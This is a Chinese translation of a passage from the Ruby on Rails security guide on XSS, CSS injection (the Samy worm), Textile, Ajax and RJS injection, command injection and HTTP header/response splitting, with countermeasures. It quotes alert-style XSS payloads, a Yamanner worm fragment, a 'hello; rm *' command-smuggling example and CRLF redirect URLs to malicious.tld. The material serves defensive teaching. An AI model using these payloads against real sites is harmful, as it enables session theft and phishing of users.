這段代碼只允許那些特定的標記可以好好工作,但是對那些花樣的錯誤的標記則拒絕。
第二種方式是為轉義那些應用的輸出提供了一個好的實踐, 尤其是當回顯沒有被過濾的用戶的輸入(比如前面的搜索表單)。 使用 escapeHTML() (或是它的別名 h()) 方法會把HTML字符 &,",<,>替換為 (&, ", < 和 >). 然而,很容易在程序里忘記使用它,所以推薦使用這個 SafeErb 插件. SafeErb 會提醒你轉義那些外部***的字符串。混淆及字符編碼注入
網絡通信大多是基于西方字母的, 所以有新的字符編碼,像Unicode, emerged來傳送其他語言 。但是,這也是web應用的一個威脅,因為惡意代碼會隱藏在不同編碼里,web瀏覽器可能無法處理,但是web應用并非如此。這里是一個UTF-8感染***:
<IMG SRC=javascript:alert('XSS')>
這個例子彈出一個消息框。它會被上述的sanitize()過濾。有一個偉大的工具去混淆和編碼字符串,因此‘了解你的敵人’,它是Hackvertor。 Rails的sanitize() 方法可以有效阻止這類***。8.3.3. 一些來自于”地下黨“的例子
— 為了理解當今對于web應用的***,最好是來看看真實世界的***。
下面的摘要是來自于 Js.Yamanner@m Yahoo! Mail 蠕蟲. 它出現在2006年6月11號,它是第一個webmail接口蠕蟲 :
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'target="" http_request = false; ? ?var Email = '';var IDList = ''; ? var CRumb = ''; ? function makeRequest(url, Func, Method,Param) { ...
該蠕蟲利用Yahoo的HTML/Javascript過濾器的一個漏洞,該過濾器通常過濾target標簽和 javascript)。這個過濾器只應用一次,所以蠕蟲病毒代碼就留在了原來的地方。這是個好的例子來說明為什么黑名單過濾器永遠會有遺漏和為什么在 web應用里允許HTML/JavaScript是困難的。
另一種概念驗證的webmail蠕蟲是Nduja, 一個跨了4個意大利webmail服務器的跨域蠕蟲。可以在Rosario Valotta's website找到更多的細節和視頻。 這兩個webmail蠕蟲的目標都是為了收錄電子郵件地址,一些罪惡的***可以憑此賺錢。
2006年12月,在MySpace 釣魚***里有34,000真實用戶名和密碼被盜。這次***的手法是創建了一個叫”login_home_index_html“的profile頁面,所以這個URL看起來讓人毫不懷疑。特制的HTML和CSS用來隱藏MySpace真正的內容,顯示的是***者的登陸表單。
MySpace Samy蠕蟲會在CSS注入這節來討論。8.4. CSS注入
— CSS注入實際上是JavaScript注入, 因為一些瀏覽器(IE, 某些版本的Safari等) 允許在CSS里執行JavaScript. 如果在你的web應用允許自定義的CSS,請三思而后行。
通過 MySpace Samy 這個眾所周知的蠕蟲我們可以更好的解釋CSS注入。只要有人訪問Samy(***者)的個人資料,這個蠕蟲就會自動的給別人發送一個朋友請求。幾小時之內他曾超過100萬個朋友請求,但它給MySpace創造了太多的通信以致于網站下線。下面是對該蠕蟲的技術性解釋。
MySpace屏蔽了很多tag,但是它允許css,所以該蠕蟲作者就在css里這么做:
<div style="background:url('javascript:alert(1)')">
所以這個style屬性就在是有效的加載了。但是這里不允許引號,因為單引號和雙引號已經被用了。但是JavaScript有可以執行任意代碼的eval()方法。
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
eval() 函數是黑名單輸入過濾器的噩夢,因為它允許它允許style屬性去隱藏 “innerHTML”這個單詞:
alert(eval('document.body.inne' + 'rHTML'));
下一個問題是MySpace過濾了 “javascript”, 所以蠕蟲作者用“java<NEWLINE>script"就得到下面這樣的:
<div id="mycode" expr="alert('hah!')" style="background:url('java??script:eval(document.all.mycode.expr)')">
另一個對于蠕蟲作者的問題是CSRF安全令牌,如果沒有的話,他不能通過POST發送以個朋友請求。他在增加好友解析結果之前通過發送一個GET訪問一個正確的頁面來繞開CSRF令牌。
最后他得到了一個4kb的蠕蟲,并把它注入到了他自己的個人資料頁面。
moz-binding 提供另一種基于Gecko瀏覽器(例如Firefox)在CSS里引入JavaScript的方法。8.4.1. 對策
這個例子再次說明了黑名單永遠會有遺漏。然而,自定義的CSS在網絡應用是一種相當罕見的功能,我不知道白名單的CSS過濾器。如果你想允許自定義的顏色或圖像, 可以讓用戶選擇web應用提供的模板。如果你真的需要這樣一個功能,請使用Rails的sanitize()方法作為一種css白名單過濾模式。8.5. Textile 注入
— 如果你想提供HTML之外的其他文本格式(為了安全),請使用在服務端轉化為HTML的標記語言。RedCloth就是為Ruby提供這種功能的語言。但是沒有防范措施的話,就會是一個XSS缺陷。
例如,RedCloth翻譯_test_ 為<em>test<em>, 使文本變成斜體。然而直到當前的3.0.4版本,仍然存在XSS缺陷。可以去下載最新的已移除這個嚴重bug的版本。然而,即使是這個版本,也有嚴重的bug 。所以對策依然適用。?這兒是版本 3.0.4的例子:
>> RedCloth.new('<script>alert(1)</script>').to_html=> "<script>alert(1)</script>"
使用:filter_html選項來移除那些不被Textile原生的HTML:
>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html=> "alert(1)"
然而它也不是過濾所有的HTML, 通過一些設計,一些標記還是會被留下,例如 <a>:
>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html=> "<p><a href="javascript:alert(1)">hello</a></p>"
8.5.1. 對策
推薦使用RedCloth結合白名單輸入過濾器的功能。8.6. Ajax 注入
— 在Ajax actions里,并不會出現類似的安全問題. 這至少是個例外。然而,如果你的這個action沒有渲染一個頁面,那么必須在controller里轉義這些輸出。
如果你用 in_place_editor plugin, or 或者是返回一個字符串的actions, 而不是渲染一個頁面,你就必須轉義那些action里返回來的值。否則,如果返回來的值包含一個XSS腳本,惡意代碼會被執行后返回瀏覽器。使用h()方法轉義每一個輸入的值。8.7. RJS 注入
— 也不要忘記在JavaScript (RJS) 模板進行轉義。
這個RJS API是基于Ruby代碼來生成JavaScript塊的,因此允許你可以在服務端操作一個頁面或者頁面的一部分。如果你允許用戶在RJS模板里輸入,請用在javascript函數里使用escape_javascript(), 在HTML這部分使用h()。否則***者能執行任意的JavaScript代碼。8.8. 命令行注入
— 謹慎使用用戶提供的命令行參數。
如果你的應用必須在操作系統上執行命令,這樣幾個Ruby方法: exec(command), syscall(command), system(command) 和 `command`。如果用戶可以輸入整個命令或其一部分,你必須要特別小心用這些函數。這是因為大多數的shell,可以執行使用分號(;)和管道符(|)連接的兩個命令。
一個對策是使用system(command, parameters) 來安全的傳送命令行參數。
system("/bin/echo","hello; rm *")# 輸出的是 "hello; rm *" 但是不會刪除文件
8.9. Header 注入
— HTTP headers 是動態生成的,在某些情況下可能是被注入的用戶輸入。這會導致錯誤的重定向,XSS 或 HTTP 響應截斷***。
HTTP請求頭有一個Referer, User-Agent (客戶端軟件) 和 Cookie域等等。響應頭比如有一個狀態碼,cookie和Location (重定向目標 URL) 域。所有的這些都是用戶提供的,并或多或少可以被操作。記住去過濾這些header域。例如當你在管理員區域顯示user agent。
此外,還有一點很重要,就是當你構建一個基于用戶輸入響應頭部分的時候你應該知道自己在做什么。例如你想把用戶重定向到一個特別的頁面。為了做到這一點,你在一個form表單里引入了referer字段去重定向到指定的地址 :
redirect_to params[:referer]
Rails把這些字符串放到Location頭里,并且給瀏覽器發送一個302(重定向)狀態碼。那么惡意用戶首先會這樣做:
[url]http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld[/url]
Rails2.1.2以下版本都有這個bug (不包括此版本), 一個***可能注入任意的header域; 例如這樣的:
[url]http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi![/url][url]http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld[/url]
注意這個 "%0d%0a" 是"\r\n"的URL編碼。因此,第二個例子的HTTP header結果就是下面這樣,因為第二個Location覆蓋了第一個的。
HTTP/1.1 302 Moved Temporarily(...)Location: [url]http://www.malicious.tld[/url]
所以頭注入的***感染是基于在header域的CRLF字符注入。 ***者可以用一個假的重定向做些什么?他可以重定向到一個和你的應用一樣的釣魚網站,但是再次請求登陸(給***者發送登陸憑證)。或者他可以通過瀏覽器安全漏洞在這個站點上安裝惡意軟件。 Rails 2.1.2在redirect_to方法里為Location過濾了這些字符。當你拿用戶輸入構建另一個header域時,請務必要自己過濾它們。8.9.1. 響應頭截斷
如果頭注射是可能的,那么響應頭截斷也是可能的。在HTTP里,header塊后面是兩個CRLFs符合和實際的數據(通常是HTML)。響應頭截斷的手法是在header域里注入兩個CRLFs,再跟另一段含有惡意HTML的響應。 響應會變成:
HTTP/1.1 302 Found [First standard 302 response]Date: Tue, 12 Apr 2005 22:09:07 GMTLocation:?Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]Content-Type: text/html
<html><font color=red>hey</font></html> [Arbitary malicious input isKeep-Alive: timeout=15, max=100 ? ? ? ? shown as the redirected page]Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html
在某些情況下,會給受害用戶呈現惡意的HTML。 然而,但是它似乎只在長鏈接下工作(大多數的瀏覽器只用一次性鏈接)。但你不能忽視它。在任何情況下,這都是一個嚴重的bug,你應該更新你的Rails版本到2.0.5或2.1.2來減輕頭注入的風險。9.其他資源
安全場景是變化的,重要的一點是要跟得上,因為錯過一個新的漏洞會是災難性的。你可以找到其他關于安全(Rails)的資源:
*
The Ruby on Rails security project posts security news regularly: [url]http://www.rorsecurity.info[/url]*
Subscribe to the Rails security mailing list*
Keep up to date on the other application layers (they have a weekly newsletter, too)*
A good security blog including the Cross-Site scripting Cheat Sheet*
Another good security blog with some Cheat Sheets, too
超強干貨來襲 云風專訪:近40年碼齡,通宵達旦的技術人生
總結
以上是生活随笔為你收集整理的Rails安全导读【完】的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 职场有多少IT精英透支健康和生命?
- 下一篇: 关于TobjectList的一点疑问